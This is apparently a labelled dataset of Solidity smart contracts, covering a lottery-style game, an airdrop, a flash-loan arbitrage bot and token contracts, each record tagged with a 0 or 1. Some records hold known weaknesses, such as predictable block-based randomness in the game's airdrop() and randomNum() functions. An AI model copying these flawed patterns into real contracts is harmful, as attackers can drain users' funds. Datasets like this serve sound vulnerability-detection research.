plyr_[_pIDTo].gu = plyr_[_pIDTo].gu.add(_guAmt);
return true;
}
function updateGuPhrase()
private
returns (uint256)
{
if (now <= contractStartDate_ + guPhrase1_) {
phrase_[1].minEthRequired = 5e18;
phrase_[1].guPoolAllocation = 100e18;
return 1;
}
if (now <= contractStartDate_ + guPhrase2_) {
phrase_[2].minEthRequired = 4e18;
phrase_[2].guPoolAllocation = 200e18;
return 2;
}
if (now <= contractStartDate_ + guPhrase3_) {
phrase_[3].minEthRequired = 3e18;
phrase_[3].guPoolAllocation = 400e18;
return 3;
}
if (now <= contractStartDate_ + guPhrase4_) {
phrase_[4].minEthRequired = 2e18;
phrase_[4].guPoolAllocation = 800e18;
return 4;
}
if (now <= contractStartDate_ + guPhrase5_) {
phrase_[5].minEthRequired = 1e18;
phrase_[5].guPoolAllocation = 1600e18;
return 5;
}
if (now <= contractStartDate_ + guPhrase6_) {
phrase_[6].minEthRequired = 1e18;
phrase_[6].guPoolAllocation = 3200e18;
return 6;
}
if (now <= contractStartDate_ + guPhrase7_) {
phrase_[7].minEthRequired = 1e18;
phrase_[7].guPoolAllocation = 6400e18;
return 7;
}
if (now <= contractStartDate_ + guPhrase8_) {
phrase_[8].minEthRequired = 1e18;
phrase_[8].guPoolAllocation = 12800e18;
return 8;
}
if (now <= contractStartDate_ + guPhrase9_) {
phrase_[9].minEthRequired = 1e18;
phrase_[9].guPoolAllocation = 25600e18;
return 9;
}
if (now <= contractStartDate_ + guPhrase10_) {
phrase_[10].minEthRequired = 1e18;
phrase_[10].guPoolAllocation = 51200e18;
return 10;
}
phrase_[11].minEthRequired = 0;
phrase_[11].guPoolAllocation = 0;
return 11;
}
function leekStealGo() private {
uint leekStealToday_ = (now.sub(round_[rID_].strt) / 1 days);
if (dayStealTime_[leekStealToday_] == 0)
{
leekStealTracker_++;
if (randomNum(leekStealTracker_) == true)
{
dayStealTime_[leekStealToday_] = now;
leekStealOn_ = true;
}
}
}
function stealTheLeek() public {
if (leekStealOn_)
{
if (now.sub(dayStealTime_[leekStealToday_]) > 300)
{
leekStealOn_ = false;
} else {
if (leekStealPot_ > 1e18) {
uint256 _pID = pIDxAddr_[msg.sender];
plyr_[_pID].win = plyr_[_pID].win.add(1e18);
leekStealPot_ = leekStealPot_.sub(1e18);
}
}
}
}
function calcUnMaskedKeyEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
if ( (((round_[_rIDlast].maskKey).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1e18)) > (plyrRnds_[_pID][_rIDlast].maskKey) )
return( (((round_[_rIDlast].maskKey).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1e18)).sub(plyrRnds_[_pID][_rIDlast].maskKey) );
else
return 0;
}
function calcUnMaskedGuEarnings(uint256 _pID)
private
view
returns(uint256)
{
if ( ((allMaskGu_.mul(plyr_[_pID].gu)) / (1e18)) > (plyr_[_pID].maskGu) )
return( ((allMaskGu_.mul(plyr_[_pID].gu)) / (1e18)).sub(plyr_[_pID].maskGu) );
else
return 0;
}
function endRound()
private
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(40)) / 100;
uint256 _res = (_pot.mul(10)) / 100;
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
pay500Winners(_pot);
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_);
round_[_rID].pot = _res;
}
function pay500Winners(uint256 _pot) private {
uint256 _rID = rID_;
uint256 _plyCtr = round_[_rID].playCtr;
uint256 _win2 = _pot.mul(25).div(100).div(9);
for (uint256 i = _plyCtr.sub(9); i <= _plyCtr.sub(1); i++) {
plyr_[playOrders_[i]].win = _win2.add(plyr_[playOrders_[i]].win);
}
uint256 _win3 = _pot.mul(15).div(100).div(90);
for (uint256 j = _plyCtr.sub(99); j <= _plyCtr.sub(10); j++) {
plyr_[playOrders_[j]].win = _win3.add(plyr_[playOrders_[j]].win);
}
uint256 _win4 = _pot.mul(10).div(100).div(400);
for (uint256 k = _plyCtr.sub(499); k <= _plyCtr.sub(100); k++) {
plyr_[playOrders_[k]].win = _win4.add(plyr_[playOrders_[k]].win);
}
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedKeyEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].maskKey = _earnings.add(plyrRnds_[_pID][_rIDlast].maskKey);
}
}
function updateGenGuVault(uint256 _pID)
private
{
uint256 _earnings = calcUnMaskedGuEarnings(_pID);
if (_earnings > 0)
{
plyr_[_pID].genGu = _earnings.add(plyr_[_pID].genGu);
plyr_[_pID].maskGu = _earnings.add(plyr_[_pID].maskGu);
}
}
function updateReferralGu(uint256 _pID)
private
{
uint256 _phID = phID_;
uint256 _lastClaimedPhID = plyr_[_pID].lastClaimedPhID;
uint256 _guShares;
for (uint i = (_lastClaimedPhID + 1); i < _phID; i++) {
_guShares = (((phrase_[i].mask).mul(plyrPhas_[_pID][i].eth))/1e18).add(_guShares);
plyr_[_pID].lastClaimedPhID = i;
phrase_[i].guGiven = _guShares.add(phrase_[i].guGiven);
plyrPhas_[_pID][i].guRewarded = _guShares.add(plyrPhas_[_pID][i].guRewarded);
}
plyr_[_pID].gu = _guShares.add(plyr_[_pID].gu);
plyr_[_pID].maskGu = ((allMaskGu_.mul(_guShares)) / 1e18).add(plyr_[_pID].maskGu);
allGuGiven_ = _guShares.add(allGuGiven_);
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function randomNum(uint256 _tracker)
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < _tracker)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID)
private
{
uint256 _com = _eth / 100;
address(WALLET_ETH_COM1).transfer(_com);
address(WALLET_ETH_COM2).transfer(_com);
uint256 _aff = _eth / 10;
if (_affID != _pID && _affID != 0) {
plyr_[_affID].aff = (_aff.mul(8)/10).add(plyr_[_affID].aff);
uint256 _affID2 = plyr_[_affID].laff;
if (_affID2 != _pID && _affID2 != 0) {
plyr_[_affID2].aff = (_aff.mul(2)/10).add(plyr_[_affID2].aff);
}
} else {
plyr_[1].aff = _aff.add(plyr_[_affID].aff);
}
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _keys)
private
{
uint256 _gen = (_eth.mul(40)) / 100;
uint256 _jcg = (_eth.mul(20)) / 100;
uint256 _air = (_eth.mul(3)) / 100;
airDropPot_ = airDropPot_.add(_air);
uint256 _steal = (_eth / 20);
leekStealPot_ = leekStealPot_.add(_steal);
_eth = _eth.sub(((_eth.mul(20)) / 100));
uint256 _pot = _eth.sub(_gen).sub(_jcg);
uint256 _dustKey = updateKeyMasks(_rID, _pID, _gen, _keys);
uint256 _dustGu = updateGuMasks(_pID, _jcg);
round_[_rID].pot = _pot.add(_dustKey).add(_dustGu).add(round_[_rID].pot);
}
function updateKeyMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1e18)) / (round_[_rID].keys);
round_[_rID].maskKey = _ppt.add(round_[_rID].maskKey);
uint256 _pearn = (_ppt.mul(_keys)) / (1e18);
plyrRnds_[_pID][_rID].maskKey = (((round_[_rID].maskKey.mul(_keys)) / (1e18)).sub(_pearn)).add(plyrRnds_[_pID][_rID].maskKey);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1e18)));
}
function updateGuMasks(uint256 _pID, uint256 _jcg)
private
returns(uint256)
{
if (allGuGiven_ > 0) {
uint256 _ppg = (_jcg.mul(1e18)) / allGuGiven_;
allMaskGu_ = _ppg.add(allMaskGu_);
uint256 _pearn = (_ppg.mul(plyr_[_pID].gu)) / (1e18);
plyr_[_pID].maskGu = (((allMaskGu_.mul(plyr_[_pID].gu)) / (1e18)).sub(_pearn)).add(plyr_[_pID].maskGu);
return (_jcg.sub((_ppg.mul(allGuGiven_)) / (1e18)));
} else {
return _jcg;
}
}
function withdrawEarnings(uint256 _pID, bool isWithdraw)
whenNotPaused
private
returns(uint256)
{
updateGenGuVault(_pID);
updateReferralGu(_pID);
updateGenVault(_pID, plyr_[_pID].lrnd);
if (isWithdraw) plyrRnds_[_pID][plyr_[_pID].lrnd].genWithdraw = plyr_[_pID].gen.add(plyrRnds_[_pID][plyr_[_pID].lrnd].genWithdraw);
uint256 _earnings = plyr_[_pID].gen.add(plyr_[_pID].win).add(plyr_[_pID].genGu).add(plyr_[_pID].aff).add(plyr_[_pID].refund);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].genGu = 0;
plyr_[_pID].aff = 0;
plyr_[_pID].refund = 0;
if (isWithdraw) plyr_[_pID].withdraw = _earnings.add(plyr_[_pID].withdraw);
}
return(_earnings);
}
bool public activated_ = false;
function activate()
onlyOwner
public
{
require(activated_ == false);
activated_ = true;
contractStartDate_ = now;
rID_ = 1;
round_[1].strt = now;
round_[1].end = now + rndInit_;
}
}
library Datasets {
struct Player {
address addr;
uint256 win;
uint256 gen;
uint256 genGu;
uint256 aff;
uint256 refund;
uint256 lrnd;
uint256 laff;
uint256 withdraw;
uint256 maskGu;
uint256 gu;
uint256 referEth;
uint256 lastClaimedPhID;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 maskKey;
uint256 genWithdraw;
}
struct Round {
uint256 plyr;
uint256 end;
bool ended;
uint256 strt;
uint256 allkeys;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 maskKey;
uint256 playCtr;
}
struct PlayerPhrases {
uint256 eth;
uint256 guRewarded;
}
struct Phrase {
uint256 eth;
uint256 guGiven;
uint256 mask;
uint256 minEthRequired;
uint256 guPoolAllocation;
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 1 | 4,958 |
pragma solidity ^0.4.16;
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
interface Token {
function transfer(address _to, uint256 _value) returns (bool);
function balanceOf(address _owner) constant returns (uint256 balance);
}
contract AirDrop is Ownable {
Token token;
event TransferredToken(address indexed to , uint256 value);
event FailedTransfer(address indexed to, uint256 value);
modifier whenDropIsActive() {
assert(isActive());
_;
}
function AirDrop () {
address _tokenAddr = 0x382117315856a533549eA621542Ccce13E54aE82;
token = Token(_tokenAddr);
}
function isActive() constant returns (bool) {
return (
tokensAvailable() > 0
);
}
function sendTokens(address[] dests, uint256[] values) whenDropIsActive onlyOwner external {
uint256 i = 0;
while (i < dests.length) {
uint256 toSend = values[i] * 10**18;
sendInternally(dests[i] , toSend, values[i]);
i++;
}
}
function sendTokensSingleValue(address[] dests, uint256 value) whenDropIsActive onlyOwner external {
uint256 i = 0;
uint256 toSend = value * 10**18;
while (i < dests.length) {
sendInternally(dests[i] , toSend, value);
i++;
}
}
function sendInternally(address recipient, uint256 tokensToSend, uint256 valueToPresent) internal {
if(recipient == address(0)) return;
if(tokensAvailable() >= tokensToSend) {
token.transfer(recipient, tokensToSend);
TransferredToken(recipient, valueToPresent);
} else {
FailedTransfer(recipient, valueToPresent);
}
}
function tokensAvailable() constant returns (uint256) {
return token.balanceOf(this);
}
function destroy() onlyOwner {
uint256 balance = tokensAvailable();
require (balance > 0);
token.transfer(owner, balance);
selfdestruct(owner);
}
} | 0 | 575 |
pragma solidity ^0.5.17;
pragma experimental ABIEncoderV2;
interface Structs {
struct Val {
uint256 value;
}
enum ActionType {
Deposit,
Withdraw,
Transfer,
Buy,
Sell,
Trade,
Liquidate,
Vaporize,
Call
}
enum AssetDenomination {
Wei
}
enum AssetReference {
Delta
}
struct AssetAmount {
bool sign;
AssetDenomination denomination;
AssetReference ref;
uint256 value;
}
struct ActionArgs {
ActionType actionType;
uint256 accountId;
AssetAmount amount;
uint256 primaryMarketId;
uint256 secondaryMarketId;
address otherAddress;
uint256 otherAccountId;
bytes data;
}
struct Info {
address owner;
uint256 number;
}
struct Wei {
bool sign;
uint256 value;
}
}
contract DyDxPool is Structs {
function getAccountWei(Info memory account, uint256 marketId) public view returns (Wei memory);
function operate(Info[] memory, ActionArgs[] memory) public;
}
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.5.17;
contract DyDxFlashLoan is Structs {
DyDxPool pool = DyDxPool(0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e);
address public WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address public SAI = 0x89d24A6b4CcB1B6fAA2625fE562bDD9a23260359;
address public USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
address public DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
mapping(address => uint256) public currencies;
constructor() public {
currencies[WETH] = 1;
currencies[SAI] = 2;
currencies[USDC] = 3;
currencies[DAI] = 4;
}
modifier onlyPool() {
require(
msg.sender == address(pool),
"FlashLoan: could be called by DyDx pool only"
);
_;
}
function tokenToMarketId(address token) public view returns (uint256) {
uint256 marketId = currencies[token];
require(marketId != 0, "FlashLoan: Unsupported token");
return marketId - 1;
}
function flashloan(address token, uint256 amount, bytes memory data)
internal
{
IERC20(token).approve(address(pool), amount + 1);
Info[] memory infos = new Info[](1);
ActionArgs[] memory args = new ActionArgs[](3);
infos[0] = Info(address(this), 0);
AssetAmount memory wamt = AssetAmount(
false,
AssetDenomination.Wei,
AssetReference.Delta,
amount
);
ActionArgs memory withdraw;
withdraw.actionType = ActionType.Withdraw;
withdraw.accountId = 0;
withdraw.amount = wamt;
withdraw.primaryMarketId = tokenToMarketId(token);
withdraw.otherAddress = address(this);
args[0] = withdraw;
ActionArgs memory call;
call.actionType = ActionType.Call;
call.accountId = 0;
call.otherAddress = address(this);
call.data = data;
args[1] = call;
ActionArgs memory deposit;
AssetAmount memory damt = AssetAmount(
true,
AssetDenomination.Wei,
AssetReference.Delta,
amount + 1
);
deposit.actionType = ActionType.Deposit;
deposit.accountId = 0;
deposit.amount = damt;
deposit.primaryMarketId = tokenToMarketId(token);
deposit.otherAddress = address(this);
args[2] = deposit;
pool.operate(infos, args);
}
}
pragma solidity ^0.5.17;
contract IOneSplit {
function getExpectedReturn(
IERC20 fromToken,
IERC20 toToken,
uint256 amount,
uint256 parts,
uint256 disableFlags
)
public
view
returns(
uint256 returnAmount,
uint256[] memory distribution
);
function swap(
IERC20 fromToken,
IERC20 toToken,
uint256 amount,
uint256 minReturn,
uint256[] memory distribution,
uint256 disableFlags
) public payable;
}
contract TradingBot is DyDxFlashLoan {
uint256 public loan;
address payable OWNER;
address ONE_SPLIT_ADDRESS = 0xC586BeF4a0992C495Cf22e1aeEE4E446CECDee0E;
uint256 PARTS = 10;
uint256 FLAGS = 0;
address ZRX_EXCHANGE_ADDRESS = 0x61935CbDd02287B511119DDb11Aeb42F1593b7Ef;
address ZRX_ERC20_PROXY_ADDRESS = 0x95E6F48254609A6ee006F7D493c8e5fB97094ceF;
address ZRX_STAKING_PROXY = 0xa26e80e7Dea86279c6d778D702Cc413E6CFfA777;
modifier onlyOwner() {
require(msg.sender == OWNER, "caller is not the owner!");
_;
}
function () external payable {}
constructor() public payable {
_getWeth(msg.value);
_approveWeth(msg.value);
OWNER = msg.sender;
}
function getFlashloan(address flashToken, uint256 flashAmount, address arbToken, bytes calldata zrxData, uint256 oneSplitMinReturn, uint256[] calldata oneSplitDistribution) external payable onlyOwner {
uint256 balanceBefore = IERC20(flashToken).balanceOf(address(this));
bytes memory data = abi.encode(flashToken, flashAmount, balanceBefore, arbToken, zrxData, oneSplitMinReturn, oneSplitDistribution);
flashloan(flashToken, flashAmount, data);
}
function callFunction(
address,
Info calldata,
bytes calldata data
) external onlyPool {
(address flashToken, uint256 flashAmount, uint256 balanceBefore, address arbToken, bytes memory zrxData, uint256 oneSplitMinReturn, uint256[] memory oneSplitDistribution) = abi
.decode(data, (address, uint256, uint256, address, bytes, uint256, uint256[]));
uint256 balanceAfter = IERC20(flashToken).balanceOf(address(this));
require(
balanceAfter - balanceBefore == flashAmount,
"contract did not get the loan"
);
loan = balanceAfter;
_arb(flashToken, arbToken, flashAmount, zrxData, oneSplitMinReturn, oneSplitDistribution);
}
function arb(address _fromToken, address _toToken, uint256 _fromAmount, bytes memory _0xData, uint256 _1SplitMinReturn, uint256[] memory _1SplitDistribution) onlyOwner payable public {
_arb(_fromToken, _toToken, _fromAmount, _0xData, _1SplitMinReturn, _1SplitDistribution);
}
function _arb(address _fromToken, address _toToken, uint256 _fromAmount, bytes memory _0xData, uint256 _1SplitMinReturn, uint256[] memory _1SplitDistribution) internal {
uint256 _startBalance = IERC20(_fromToken).balanceOf(address(this));
_trade(_fromToken, _toToken, _fromAmount, _0xData, _1SplitMinReturn, _1SplitDistribution);
uint256 _endBalance = IERC20(_fromToken).balanceOf(address(this));
require(_endBalance > _startBalance, "End balance must exceed start balance.");
}
function trade(address _fromToken, address _toToken, uint256 _fromAmount, bytes memory _0xData, uint256 _1SplitMinReturn, uint256[] memory _1SplitDistribution) onlyOwner payable public {
_trade(_fromToken, _toToken, _fromAmount, _0xData, _1SplitMinReturn, _1SplitDistribution);
}
function _trade(address _fromToken, address _toToken, uint256 _fromAmount, bytes memory _0xData, uint256 _1SplitMinReturn, uint256[] memory _1SplitDistribution) internal {
uint256 _beforeBalance = IERC20(_toToken).balanceOf(address(this));
_zrxSwap(_fromToken, _fromAmount, _0xData);
uint256 _afterBalance = IERC20(_toToken).balanceOf(address(this));
uint256 _toAmount = _afterBalance - _beforeBalance;
_oneSplitSwap(_toToken, _fromToken, _toAmount, _1SplitMinReturn, _1SplitDistribution);
}
function zrxSwap(address _from, uint256 _amount, bytes memory _calldataHexString) onlyOwner public payable {
_zrxSwap(_from, _amount, _calldataHexString);
}
function _zrxSwap(address _from, uint256 _amount, bytes memory _calldataHexString) internal {
IERC20 _fromIERC20 = IERC20(_from);
_fromIERC20.approve(ZRX_ERC20_PROXY_ADDRESS, _amount);
address(ZRX_EXCHANGE_ADDRESS).call.value(msg.value)(_calldataHexString);
_fromIERC20.approve(ZRX_ERC20_PROXY_ADDRESS, 0);
}
function oneSplitSwap(address _from, address _to, uint256 _amount, uint256 _minReturn, uint256[] memory _distribution) onlyOwner public payable {
_oneSplitSwap(_from, _to, _amount, _minReturn, _distribution);
}
function _oneSplitSwap(address _from, address _to, uint256 _amount, uint256 _minReturn, uint256[] memory _distribution) internal {
IERC20 _fromIERC20 = IERC20(_from);
IERC20 _toIERC20 = IERC20(_to);
IOneSplit _oneSplitContract = IOneSplit(ONE_SPLIT_ADDRESS);
_fromIERC20.approve(ONE_SPLIT_ADDRESS, _amount);
_oneSplitContract.swap(_fromIERC20, _toIERC20, _amount, _minReturn, _distribution, FLAGS);
_fromIERC20.approve(ONE_SPLIT_ADDRESS, 0);
}
function getWeth() public payable onlyOwner {
_getWeth(msg.value);
}
function _getWeth(uint256 _amount) internal {
(bool success, ) = WETH.call.value(_amount)("");
require(success, "failed to get weth");
}
function approveWeth(uint256 _amount) public onlyOwner {
_approveWeth(_amount);
}
function _approveWeth(uint256 _amount) internal {
IERC20(WETH).approve(ZRX_STAKING_PROXY, _amount);
}
function withdrawToken(address _tokenAddress) public onlyOwner {
uint256 balance = IERC20(_tokenAddress).balanceOf(address(this));
IERC20(_tokenAddress).transfer(OWNER, balance);
}
function withdrawEther() public onlyOwner {
address self = address(this);
uint256 balance = self.balance;
address(OWNER).transfer(balance);
}
} | 0 | 2,360 |
pragma solidity ^0.4.16;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
event PauseRefund();
event UnpauseRefund();
bool public paused = true;
bool public refundPaused = true;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenRefundNotPaused() {
require(!refundPaused);
_;
}
modifier whenPaused {
require(paused);
_;
}
modifier whenRefundPaused {
require(refundPaused);
_;
}
function pause() onlyOwner whenNotPaused returns (bool) {
paused = true;
Pause();
return true;
}
function pauseRefund() onlyOwner whenRefundNotPaused returns (bool) {
refundPaused = true;
PauseRefund();
return true;
}
function unpause() onlyOwner whenPaused returns (bool) {
paused = false;
Unpause();
return true;
}
function unpauseRefund() onlyOwner whenRefundPaused returns (bool) {
refundPaused = false;
UnpauseRefund();
return true;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract AssetToken is Pausable, StandardToken {
using SafeMath for uint256;
address public treasurer = 0x0;
uint256 public purchasableTokens = 0;
string public name = "Asset Token";
string public symbol = "AST";
uint256 public decimals = 18;
uint256 public INITIAL_SUPPLY = 1000000000 * 10**18;
uint256 public RATE = 200;
uint256 public REFUND_RATE = 200;
function AssetToken() {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
function transferOwnership(address newOwner) onlyOwner {
address oldOwner = owner;
super.transferOwnership(newOwner);
balances[newOwner] = balances[oldOwner];
balances[oldOwner] = 0;
}
function transferTreasurership(address newTreasurer) onlyOwner {
if (newTreasurer != address(0)) {
treasurer = newTreasurer;
}
}
function setPurchasable(uint256 amount) onlyOwner {
require(amount > 0);
require(balances[owner] >= amount);
purchasableTokens = amount.mul(10**18);
}
function setRate(uint256 rate) onlyOwner {
RATE = rate;
}
function setRefundRate(uint256 rate) onlyOwner {
REFUND_RATE = rate;
}
function () payable {
buyTokens(msg.sender);
}
function buyTokens(address addr) payable whenNotPaused {
require(treasurer != 0x0);
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(RATE);
require(purchasableTokens >= tokens);
purchasableTokens = purchasableTokens.sub(tokens);
balances[owner] = balances[owner].sub(tokens);
balances[addr] = balances[addr].add(tokens);
Transfer(owner, addr, tokens);
treasurer.transfer(msg.value);
}
function fund() payable {}
function defund() onlyOwner {
treasurer.transfer(this.balance);
}
function refund(uint256 _amount) whenRefundNotPaused {
require(balances[msg.sender] >= _amount);
uint256 refundAmount = _amount.div(REFUND_RATE);
require(this.balance >= refundAmount);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[owner] = balances[owner].add(_amount);
msg.sender.transfer(refundAmount);
}
} | 1 | 4,669 |
pragma solidity ^0.4.17;
contract tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData); }
contract KEKEcon{
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function KEKEcon(){
balanceOf[msg.sender] = 100000000000000000;
totalSupply = 100000000000000000;
name = "KEKEcon";
symbol = "KEKEcon";
decimals = 8;
}
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0);
require (balanceOf[_from] >= _value);
require (balanceOf[_to] + _value > balanceOf[_to]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
}
function transfer(address _to, uint256 _value) {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
require (_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value)
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) returns (bool success) {
require (balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
function getBalance(address addr) public view returns(uint256) {
return balanceOf[addr];
}
} | 1 | 4,939 |
pragma solidity >=0.6.0 <0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity >=0.6.2 <0.8.0;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
